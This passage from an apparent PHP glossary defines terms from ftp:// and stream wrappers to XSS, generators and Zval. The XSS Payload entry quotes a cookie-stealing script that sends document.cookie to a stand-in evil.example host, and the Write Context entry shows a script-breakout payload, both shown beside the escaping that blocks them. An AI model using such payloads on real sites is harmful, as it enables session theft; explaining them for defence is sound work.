Because it is a stream wrapper, ftp://, and its encrypted counterpart ftps://, can be used directly wherever PHP accepts a filesystem path, including functions like file_get_contents(), file_put_contents(), fopen(), copy(), and file_exists(). Credentials and the target path are encoded in the URL itself, in the form ftp://user:password@host:port/path, and the wrapper supports both reading and, depending on server permissions, writing and appending.
Using the ftp:// wrapper requires PHP’s allow_url_fopen setting to be enabled, and, because credentials travel in the URL and plain FTP transmits data without encryption, it is generally safer to prefer ftps:// or a dedicated SFTP/SSH2 based approach when handling sensitive data over an untrusted network.
<?php
// display a distant file from a FTP server
print_r(file_get_content('ftp://user:password@ftp.server.com:/pub/file.txt'));
?>
See Also
Related
http://
The http:// wrapper is a native PHP wrapper, to access files on a remote HTTP web server. It handles both HTTP and HTTPS.
The http:// and https:// wrappers are part of PHP’s streams layer, which lets many filesystem-oriented functions, such as file_get_contents(), file_put_contents(), fopen(), copy(), or include(), transparently operate on a remote URL as if it were a local file. Under the hood, the wrapper opens a TCP connection to the target host, sends an HTTP request, by default a GET, and exposes the response body as a readable, and for a limited subset of operations writable, stream. The response headers sent back by the server are made available afterwards through the special $http_response_header variable, populated in the calling scope.
Because this wrapper is enabled through the allow_url_fopen directive, which defaults to On, functions that were only meant to handle local paths can end up fetching arbitrary remote content whenever a URL is passed instead of a filename. This is the root cause of a well-known class of vulnerabilities called Remote File Inclusion, RFI, where an attacker controls a path passed to include() or require(), and supplies a URL pointing to malicious PHP code hosted elsewhere. For this reason, allow_url_include, a separate and stricter directive controlling whether URLs can be used with include()/require() specifically, defaults to Off, and many production configurations also disable allow_url_fopen entirely, forcing remote requests to go through a dedicated HTTP client such as cURL instead.
The behavior of the wrapper, including the request method, additional headers, timeout, and whether redirects are followed, can be customized through a stream context created with stream_context_create() and its http options, then passed as an extra argument to functions such as file_get_contents().
<?php
// display the raw incoming data
print_r(file_get_content('https://www.php.net/'));
?>
See Also
Related
Wrapper Pattern
The wrapper pattern is also called the decorator pattern or the adapter pattern. The wrapper pattern wraps one object inside another object to change, extend, simplify or adapt its behavior without modifying the original object.
This is commonly used to add functionality, such as logging, caching, validation, etc., simplify or standardize an interface, isolate third-party code or make testing easier. The concept is also used to describe a class that provides features based on a remote object, such as an API or a system tool, or even higher-level features.
The wrapper pattern is identifiable with thin methods, an injection of the same interface, or containing a single distinct object. Identification may require several clues.
See Also
Related
php://
The php:// wrapper is a native PHP wrapper, to access stdin, stdout and stderr. These are the incoming, outgoing and error streams of the executed PHP code.
<?php
// display the raw incoming data
print_r(file_get_content('php://stdin'));
?>
See Also
Related
Stream Wrapper
A stream wrapper is additional code which tells the stream how to handle specific protocols and encodings.
PHP supports several wrappers natively, in particular file://, http://, ftp://, php://, zlib://, data://, glob://, phar://, ssh2://, rar://, ogg:// and expect://.
Custom wrappers may be registered with stream_wrapper_register(). A wrapper may write in any kind of format.
<?php
// opening a file with the file wrapper
$fp = fopen('file://tmp/myfile.txt', 'r+');
// opening a file with the ftp wrapper
$fp = fopen('ftp://user:password@example.com/pub/file.txt', 'r+');
// opening a file with the phar wrapper
$fp = fopen('phar://someFile.txt', 'r+');
?>
See Also
- A Guide to Streams in PHP: In-Depth Tutorial With Examples
- Supported Protocols and Wrappers
- stream_wrapper_register()
- Example class registered as stream wrapper
Related
Wrapper
A wrapper may refer to two distinct things depending on the context, which is why this entry is a disambiguation page. The first, and most PHP-specific, meaning is a stream wrapper: a built-in or user-registered handler that lets PHP’s stream functions, such as fopen(), file_get_contents(), and include(), transparently work with a particular URL-style protocol or resource type as if it were a local file. PHP ships with wrappers for protocols like http://, https://, ftp://, ftps://, php://, and file://, each translating stream operations, reading, writing, seeking, into the appropriate network calls or system behavior for that protocol, and custom wrappers can be registered at runtime with stream_wrapper_register() to add support for entirely new schemes, such as accessing a database, a compressed archive, or an in-memory buffer through ordinary file functions. The second meaning comes from object-oriented design: the wrapper, or adapter, design pattern, where a class wraps another object or a different, often incompatible, interface, exposing a new API on top of it while delegating the underlying work, commonly used to adapt a third-party library’s interface to what an application expects, or to add extra behavior, such as logging or caching, around an existing object without modifying it. This second usage is closely related to, and sometimes used interchangeably with, the facade pattern.
<?php
// the PHP wrapper http
$html = file_get_content('http://www.php.net/');
?>
See Also
Related
- Stream Wrapper
- Design Pattern Wrapper
- Hyper Text Transfer Protocol (HTTP)
- Hyper Text Transfer Protocol Secure (HTTPS)
- php://
- Wrapper Pattern
- File Transfer Protocol (FTP)
- File Transfer Protocol Secure (FTPS)
- PHP Wrappers
- Protocol
- file://
- Facade
- file_get_contents()
- ftp://
- http://
- php://filter
Writable
Something is writable when a new value may be assigned to it, in the correct context. For example, a variable is writable, as it may be assigned a new value in the local context.
Variable, properties, given the correct visibility, static properties, array elements are writable.
On the other hand, constants, method calls, function calls, or instantiation are not writable: they provide a value, but do not accept to be written to.
<?php
$trunk = 3;
$tusk = $trunk + 4;
// syntax error
// new x = 3;
?>
See Also
Related
Write Context
The write context, also called output context or sink context, is the location in the final document where a piece of data is emitted: an HTML body, an HTML attribute, a <script> block, a CSS value, or a URL. It determines which encoding function is the correct, safe one to use.
The same untrusted string requires different treatment depending on where it lands. htmlspecialchars() is correct for text placed in the HTML body or most attributes, but it does not make a string safe to place inside a <script> block: quotes and angle brackets are neutralized for HTML, not for JavaScript string literals, so a value escaped for one context can still break out of, or inject code into, another. Data written into a JavaScript context should instead be encoded with json_encode(), or a dedicated helper such as Laravel’s Js::from(), and data written into a URL should be passed through urlencode() or rawurlencode().
Using the wrong write context, for instance HTML-escaping a value before printing it inside a <script> tag, is a common and easily-missed source of XSS, because the mistake only shows up for inputs containing the specific characters the chosen encoder does not handle.
<?php
$name = $_GET['name']; // e.g. '</script><script>alert(1)</script>'
?>
<!-- HTML body context: htmlspecialchars() is correct -->
<p>Hello, <?= htmlspecialchars($name) ?></p>
<script>
// Script context: htmlspecialchars() is NOT enough here.
// Use a JSON-safe encoder instead.
const name = <?= json_encode($name, JSON_HEX_TAG | JSON_HEX_APOS) ?>;
</script>
See Also
Related
- HTML Escaping
- Escape Data
- Encode
- Cross Site Scripting (XSS)
- Stored XSS
- json_encode()
- htmlspecialchars
- Sanitation
Writeable
Something is writeable when its current value may be modified. For example, a variable is writeable, as it may be changed at any moment: it may be unset, appended, prepended, replaced, or incremented.
On the other hand, a property may be unwriteable, depending on the context, because of the visibility configuration.
Variable, properties with the correct visibility, static properties, array elements are all writeable. To check if a property is writeable or not, one should use the reflection engine. Most often, it is base on code knowledge.
Properties may be readonly, which means they can be written once, and won’t change value later. Modification limiting, and fine grained access may be achieved with property hooks.
Writeable also applies to files, as the operating system may or may not allow the modification of files. This may be checked with is_writeable() function.
<?php
$tusk = 3;
++$tusk; // $tusk was incremented
class Elephpant {
private int $trunkLength;
function __construct() {
// The property trunkLength is writeable in this part of the code
$this->trunkLength = 1;
}
}
$trunk = new Elephpant();
// The property trunkLength is not writeable from this part of the code
?>
See Also
Related
- Visibility
- Variables
- Static Property
- Properties
- Container
- Array Element
- Readable
- Reflection
- Readonly
- Property Hook
- fopen()
Writing
Writing is the action to replace a value in a data container with another one. It does not need to be read. The value is simply changed.
Writing happens when a value is being assigned a new value, used with some operators such as ++ or --.
This operation is usually the counterpart of reading. It may also happen at the same time.
<?php
$trunk = 1; // writing 1
++$trunk; // reading 1 and writing 2
echo $trunk; // reading 2
?>
See Also
Related
Xdebug
Xdebug is an extension for PHP, and provides a range of features to improve the PHP development experience.
Xdebug’s most celebrated feature is its step debugger: it allows for pausing PHP execution mid-run and inspecting what’s happening, with integration with an IDE.
See Also
Related
- Framework
- Debug
- PHP Editor
- Integrated Environment of Development (IDE)
- Trace
- Troubleshoot
- Excimer
- PCOV
- Premature Optimization
XHProf
XHProf is a hierarchical, function-level profiler for PHP, originally developed at Facebook and later open-sourced. It measures wall-clock time, CPU time, and memory usage for every function call during a request, and produces a call graph that highlights the most expensive code paths.
Unlike step debuggers such as Xdebug, XHProf is designed to run with low overhead in production or staging environments, sampling real traffic rather than a single manually-triggered debug session. Its output can be rendered as a flat report or as a visual call graph, callgrind style, to spot bottlenecks quickly.
Modern forks and alternatives, such as Tideways’ extension or the excimer sampling profiler, build on the same ideas, but XHProf remains a common reference point when discussing PHP profiling.
<?php
xhprof_enable(XHPROF_FLAGS_CPU | XHPROF_FLAGS_MEMORY);
run_expensive_task();
$data = xhprof_disable();
include_once '/path/to/xhprof_lib/utils/xhprof_lib.php';
include_once '/path/to/xhprof_lib/utils/xhprof_runs.php';
$xhprofRuns = new XHProfRuns_Default();
$runId = $xhprofRuns->save_run($data, 'my_app');
?>
See Also
Related
XML Database
An XML database is a database which uses XML for the storage format. Then, the database may be stored, queried, transformed and returned with XML related technologies: xslt, xquery, xproc, etc.
XML databases are considered NoSQL databases. They may be build on top of a SQL database too.
See Also
Related
Extensible Markup Language (XML)
XML, Extensible Markup Language, is a markup language similar to HTML, but without predefined tags to use.
PHP offers several sets of functions to handle XML: domxml, simplexml, xmlreader, xmlwriter.
<?php
$string = <<<XML
<?xml version='1.0'?>
<document>
<cmd>login</cmd>
<login>Richard</login>
</document>
XML;
$xml = simplexml_load_string($string);
print_r($xml);
?>
See Also
Related
- SimpleXML
- DOM
- XMLwriter
- XMLReader
- Schema
- sitemap
- Simple Object Access Protocol (SOAP)
- YAML Ain’t Markup Language (YAML)
- Document Database
- Document Object Model (DOM)
- Scalable Vector Graphics (SVG)
- AJAX
- Interoperability
- RDF (Resource Description Framework)
- Security Assertion Markup Language (SAML)
Related packages
XMLReader
The XMLReader extension is an XML Pull parser. The reader acts as a cursor going forward on the document stream and stopping at each node on the way.
<?php
//creating an XML documents that is to be parsed using XML reader to retrieve the contents
$xmlDocument = '<?xml version="1.0"?>
<books>
<book>
<title>Les miserables</title>
<genre>Novel</genre>
</book>
<book>
<title>The old man and the sea</title>
<genre>Novel</genre>
</book>
<book>
<title>The journey to the west</title>
<genre>Epic</genre>
</book>
</books>';
//declaring an instance of XML Reader
$xml = new XMLReader();
$xml->XML($xmlDocument);
//parsing the contents of the XML document and retrieving the required contents from the document
echo "List of the book titles:\n";
while( $xml->read() )
{
if ($xml->name === 'title') {
print $xml->readInnerXML().PHP_EOL;
$xml->next();
}
}
?>
See Also
Related
XMLwriter
The XMLWriter PHP extension is a built-in extension that provides a simple and efficient way to generate XML documents. It allows to create XML elements, attributes, text nodes, and other XML constructs using a procedural interface.
The XMLWriter extension offers several benefits when working with XML:
- Efficient and low memory usage: the extension is designed to generate XML incrementally, allowing to write large XML documents without consuming excessive memory
- Stream-oriented output:
XMLWriterwrites XML data to a stream, which can be a file, memory, or an HTTP connection. This enables the generation of XML directly without the need to store the entire document in memory - Namespace support:
XMLWritersupports XML namespaces, allowing to define and assign namespaces to elements and attributes - Character encoding and formatting:
XMLWriterprovides methods to set the character encoding of the XML document and control the formatting options, such as indentation and line breaks - Validity and well-formedness checking:
XMLWriterperforms automatic validation and well-formedness checking while writing XML, ensuring that the generated XML document is compliant with XML standards.
<?php
// adapted from PHP Manual
$xw = xmlwriter_open_memory();
xmlwriter_set_indent($xw, 1);
$res = xmlwriter_set_indent_string($xw, ' ');
xmlwriter_start_document($xw, '1.0', 'UTF-8');
// A first element
xmlwriter_start_element($xw, 'tag1');
// Attribute 'att1' for element 'tag1'
xmlwriter_start_attribute($xw, 'att1');
xmlwriter_text($xw, 'valueofatt1');
xmlwriter_end_attribute($xw);
xmlwriter_end_document($xw);
echo xmlwriter_output_memory($xw);
?>
See Also
Related
Related packages
XSS Payload
An XSS payload is the malicious script or markup that an attacker injects into a vulnerable application to carry out a cross-site scripting attack.
The payload is crafted to execute in the victim’s browser once the vulnerable page reflects or stores it without proper escaping. Payloads range from a simple <script>alert(1)</script> used to prove the vulnerability exists, to more advanced code that steals cookies, hijacks sessions, or performs actions on behalf of the victim.
Penetration testers and security scanners maintain lists of XSS payloads, including obfuscated and context-specific variants, to test whether an application’s input handling and output escaping properly neutralise them.
<?php
// Unescaped output lets the payload execute in the browser
echo '<div>' . $_GET['comment'] . '</div>';
// payload example: <script>document.location='https://evil.example/steal?c='+document.cookie</script>
// Escaping neutralises the payload
echo '<div>' . htmlspecialchars($_GET['comment'], ENT_QUOTES) . '</div>';
?>
See Also
Related
Cross Site Scripting (XSS)
XSS is a web security vulnerability where an attacker injects malicious JavaScript into a website, and that script then runs in other users’ browsers.
XSS happens when a Web application accepts user input, and fails to validate it properly. That input is used in the resulting web page, and it executes there, either as HTML or JavaScript or any other available resource.
XSS is dangerous as it allows the attacker to steal important information such as cookies, impersonate the user, read or modify the page content.
See Also
- PHP Security 3: XSS and Password Storage
- What is cross-site scripting (XSS) and how to prevent it?
- The Quiet Shift Reshaping PHP Security
- XSS Prevention in Laravel — Why {!! !!} Is the Line Between Safe and Hacked
Related
- Cross Site Request Forgery (CSRF)
- html_entity_decode
- htmlspecialchars
- Static Application Security Testing (SAST)
- Session Hijacking
- Vulnerability
- Anchor
- CSS
- Stored XSS
- Escape Character
- Link
- HTML Entity
- CRLF Injection
- Data Flow Analysis (DFA)
- Image Injection
- Twig
- Blade
- Content Security Policy (CSP)
- HTMLPurifier
- Write Context
XXTEA
XXTEA is a symmetric encryption algorithm that stands for Corrected Block TEA: TEA refers to Tiny Encryption Algorithm. It is primarily used for encrypting and decrypting data, providing a level of security for sensitive information.
XXTEA operates on 32-bit integer data blocks and employs a 128-bit key. It uses a series of iterations and bitwise operations to scramble the data and make it unreadable without the corresponding decryption process. XXTEA is a block cipher with a fixed block size of 8 bytes.
<?php
$str = "Hello World! 你好,中国🇨🇳!";
$key = "1234567890";
$base64 = "D4t0rVXUDl3bnWdERhqJmFIanfn/6zAxAY9jD6n9MSMQNoD8TOS4rHHcGuE=";
$encrypt_data = xxtea_encrypt($str, $key);
$decrypt_data = xxtea_decrypt($encrypt_data, $key);
if ($str == $decrypt_data && base64_encode($encrypt_data) == $base64) {
echo "success!";
} else {
echo base64_encode($encrypt_data);
echo "fail!";
}
?>
See Also
Related
You Are Not Going To Need It (YAGNI)
YAGNI advises developers to avoid adding functionality or code until it is explicitly required. Instead of anticipating future needs and over-engineering solutions, focus only on what is necessary to fulfill current requirements.
See Also
Related
YAML Ain’t Markup Language (YAML)
YAML, which stands for YAML Ain't Markup Language, is a human-readable data serialization format. It is often used for configuration files, data exchange between languages with different data structures, and general-purpose data storage. YAML is designed to be easy for humans to read and write while also being easy for machines to parse and generate.
<?php
$yaml = <<<YAML
---
title: "The title"
date: "2001-01-23"
amount: 251.420000
...
YAML;
$parsed = yaml_parse($yaml);
var_dump($parsed);
?>
See Also
Related
Related packages
yield from Keyword
The yield from keyword is used to delegate the iteration control of one generator to another. It was introduced in version 7.0 as part of the generator delegation feature.
This keyword allows to create more maintainable and modular code by reusing the code logic of one generator within another.
Generator delegation works with another generators, Traversable objects, and arrays.
<?php
function inner() {
yield 1; // key 0
yield 2; // key 1
yield 3; // key 2
}
function gen() {
yield 0; // key 0
yield from inner(); // keys 0-2
yield 4; // key 1
}
// pass false as second parameter to get an array [0, 1, 2, 3, 4]
var_dump(iterator_to_array(gen()));
?>
See Also
Related
- Yield
- Yield Generator
- Traversable
- Array, []
- Functions
- Method
- Closure
- Arrow Functions
- Generator
- range()
- Stealth Generator
Yield Generator
Generators are a way to implement simple iterators without the overhead or complexity of implementing a class that extends the Iterator interface.
Generators are implicitly created when including the yield and yield from keywords in the body of the method. Any type of function can be a generator: functions, methods, arrow functions, closures, static methods.
Generators always have the \Generator return type: in fact, there is no return type on its returned value, nor on the yielded values. They are all of mixed types.
Generators are used to reduce the memory footprint of an integration, as they do not require all data to be loaded to run: they can be created along the way.
Generators are also used to implement asynchronous properties: they may stop execution, using yield, and then, return later to continue. This allows for partial execution of the method.
<?php
function evenIntegers() {
for ($i = 0; $i < 10; ++$i) {
yield 2 * $i;
}
}
foreach (evenInteger() as $number) {
echo "$number ";
}
echo "\n";
?>
See Also
- Do generators really reduce the memory usage?
- PHP Generators From Scratch
- Unlocking PHP Generators: Revolutionizing Memory Efficiency
Related
- Generator
- Yield
- yield from Keyword
- Return Type
- Async
- ClosedGeneratorException
- Coroutine
- iterator_to_array()
- range()
- Stealth Generator
- Continuation
- Lazy Evaluation
- List Comprehension
- Range Type
Yield
In its simplest form, a yield statement looks much like a return statement, except that instead of stopping execution of the function and returning, yield instead provides a value to the code looping over the generator and pauses execution of the generator function.
<?php
function gen_one_to_three() {
for ($i = 1; $i <= 3; $i++) {
// Note that $i is preserved between yields.
yield $i;
}
}
?>
See Also
Related
- yield from Keyword
- Yield Generator
- Jump
- Double Arrow
- iterator_to_array()
- range()
- Functions
- Method
- Closure
- Arrow Functions
- Stealth Generator
Yoda Condition
Yoda condition is a way to write a condition by using any literal value on the left, instead of the right.
This prevents errors where the comparison operator is shortened, and turned into an assignation, which is usually true.
<?php
// Yoda condition
if (0 == $a) {}
// Assignation, instead of comparison and bug
if ($a = 0) {}
?>
See Also
Related
zend.assertions
zend.assertions is the PHP directive that controls usage of assertions. When set to 1, the assertions are active and executed: this is for development mode.
When set to 0, the code is active, but not executed. When set to -1, the code is removed: this is for production mode.
See Also
Related
Zend Engine
The Zend Engine is the core runtime engine of PHP: it’s the part of PHP that actually interprets, compiles, and executes your PHP code.
It is named after its two original authors: Zeev Zuraski and Andy Gutmans.
See Also
Related
- PHP Engine
- Virtual Machine (VM)
- Core
- Internals
- PHP, Hypertext Preprocessor (PHP)
- Zval
- __halt_compiler()
Zero-code
Zero-code, also known as no-code, refers to development platforms and tools that allow building applications without writing any source code. Configuration, logic, and presentation are assembled visually through drag-and-drop interfaces, form-based editors, and pre-built components.
In the PHP ecosystem, zero-code manifests through content management systems equipped with visual page builders. WordPress page builders such as Elementor or Divi, Drupal’s layout system, and dedicated website generators let non-developers publish content-rich sites without touching PHP directly.
Zero-code differs from low-code, where a small amount of custom code is still written to handle cases the platform cannot cover. It also differs from code generation, where a tool emits source code that developers then own and maintain.
The trade-offs of zero-code are predictable: rapid delivery and low barrier to entry come at the cost of flexibility, performance control, and testability. Complex business rules often exceed what a zero-code platform can express, forcing a migration to low-code or fully custom development.
See Also
Related
- Content Management System (CMS)
- Code Generation
- Template
- Declarative Programming
- Framework
- Scaffolding
Zero Cost
zero cost most commonly refers to zero-cost assertions, a feature introduced in version 7.0.
Zero cost assertions means that they can be turned off, and do not add any execution penalty.
Until PHP 7.0, assertions could be switched off, but their parsing and non-execution would still require some condition checks. Since PHP 7.0, disabled assertions are not even compiled into bytecode: they are completely removed from the code.
Zero-cost is associated with compiled languages, which are able to remove such code at compile time, with the correction options, debug or not.
Some PHP packages and applications claim to be zero-cost. They are using some well place execution to reduce the impact on the execution time, like Kphp, which compiles to C++ a subset of PHP.
<?php
assert($a !== 0, '$a must not be zero.');
?>
Related
Related packages
Zero Day Vulnerability
A Zero Day vulnerability is a vulnerability which has no counter measure yet. Until it is found, any attacker may use this vulnerability successfully.
See Also
Related
zero
Zero is the 0 integer. Zero is part of the falsy values: it is the equivalent of false.
It is often used to return successful execution, where non-zero answers are unsuccessful execution, represented by their error message.
Adding 0 to a string turns it into an integer, just like the cast operator (int) does.
Comparisons between 0 and other falsy values, such as empty string '' changed with PHP 8.0: it was true and became false.
Division by zero emits the DivisionByZeroError, as that operation is impossible. Multiplication is possible and always returns 0.
0 is one of the two valid index when building a callback with an array, along with 1.
0 is a classic magic number, although it has so many uses that it is usually look over, as generating too many false positives or scattered issues.
<?php
$zero = 0;
$four = 4 + 0;
?>
See Also
Related
- False
- Comparison
- DivisionByZeroError
- Empty String
- one
- Callable Arrays
- Array Callback
- Minus One -1
- Truthy
- ArithmeticError Error
- Logarithm
- zend\.assertions
zip Extension
The zip extension provides functions to handle the zip compression format. It reads, writes and accesses arbitrary part of files. It also provides a compression format for the output of PHP.
The functions, defined by this extension, are deprecated, and shall be removed in version 9. It is recommended to use the OOP API, and its ZipArchive class.
<?php
// Example from the PHP manual
// https://www.php.net/manual/en/zip.examples.php
$zip = new ZipArchive();
$filename = "./test112.zip";
if ($zip->open($filename, ZipArchive::CREATE)!==TRUE) {
exit("cannot open <$filename>\n");
}
$zip->addFromString("testfilephp.txt" . time(), "#1 This is a test string added as testfilephp.txt.\n");
$zip->addFromString("testfilephp2.txt" . time(), "#2 This is a test string added as testfilephp2.txt.\n");
$zip->addFile($thisdir . "/too.php","/testfromfile.php");
echo "numfiles: " . $zip->numFiles . "\n";
echo "status:" . $zip->status . "\n";
$zip->close();
?>
See Also
Related
zlib extension
The zlib extension provides functions to handle the zlib compression format: read, write and access arbitrary parts of files. It also provides a compression format for the output of PHP.
There is also a PHP wrapper for zlib, when the zlib extension is compiled: zlib://.
<?php
$lines = gzfile('somefile.gz');
foreach ($lines as $line) {
echo $line . PHP_EOL;
}
?>
See Also
- Using zlib for Page Compression
- Introducing streaming zlib compression and decompression with ReactPHP
Related
Zombie Code
Zombie code refers to sections of code that are executed, but whose results are discarded. It is essentially dead or unused code that serves no purpose and can negatively impact the codebase.
Zombie code slows down the application, yet are logged as being used. They are a various of dead code.
<?php
// $capitalized is calculated from $name
$capitalized = ucfirst(strtolower($name));
// $capitalized is not used later in the code.
echo "Hello $name\n";
?>
See Also
Related
Zval
ZVAL is a C structure, that represents data in the PHP engine. It is a structure, which is never directly used from PHP code.
It may be access with debug_zval_dump() function, for debugging purposes. It is useful to debug PHP engine, or extensions.
<?php
// From the manual
$var1 = 'Hello';
$var1 .= ' World';
$var2 = $var1;
debug_zval_dump($var1);
// displays string(11) "Hello World" refcount(3)
?>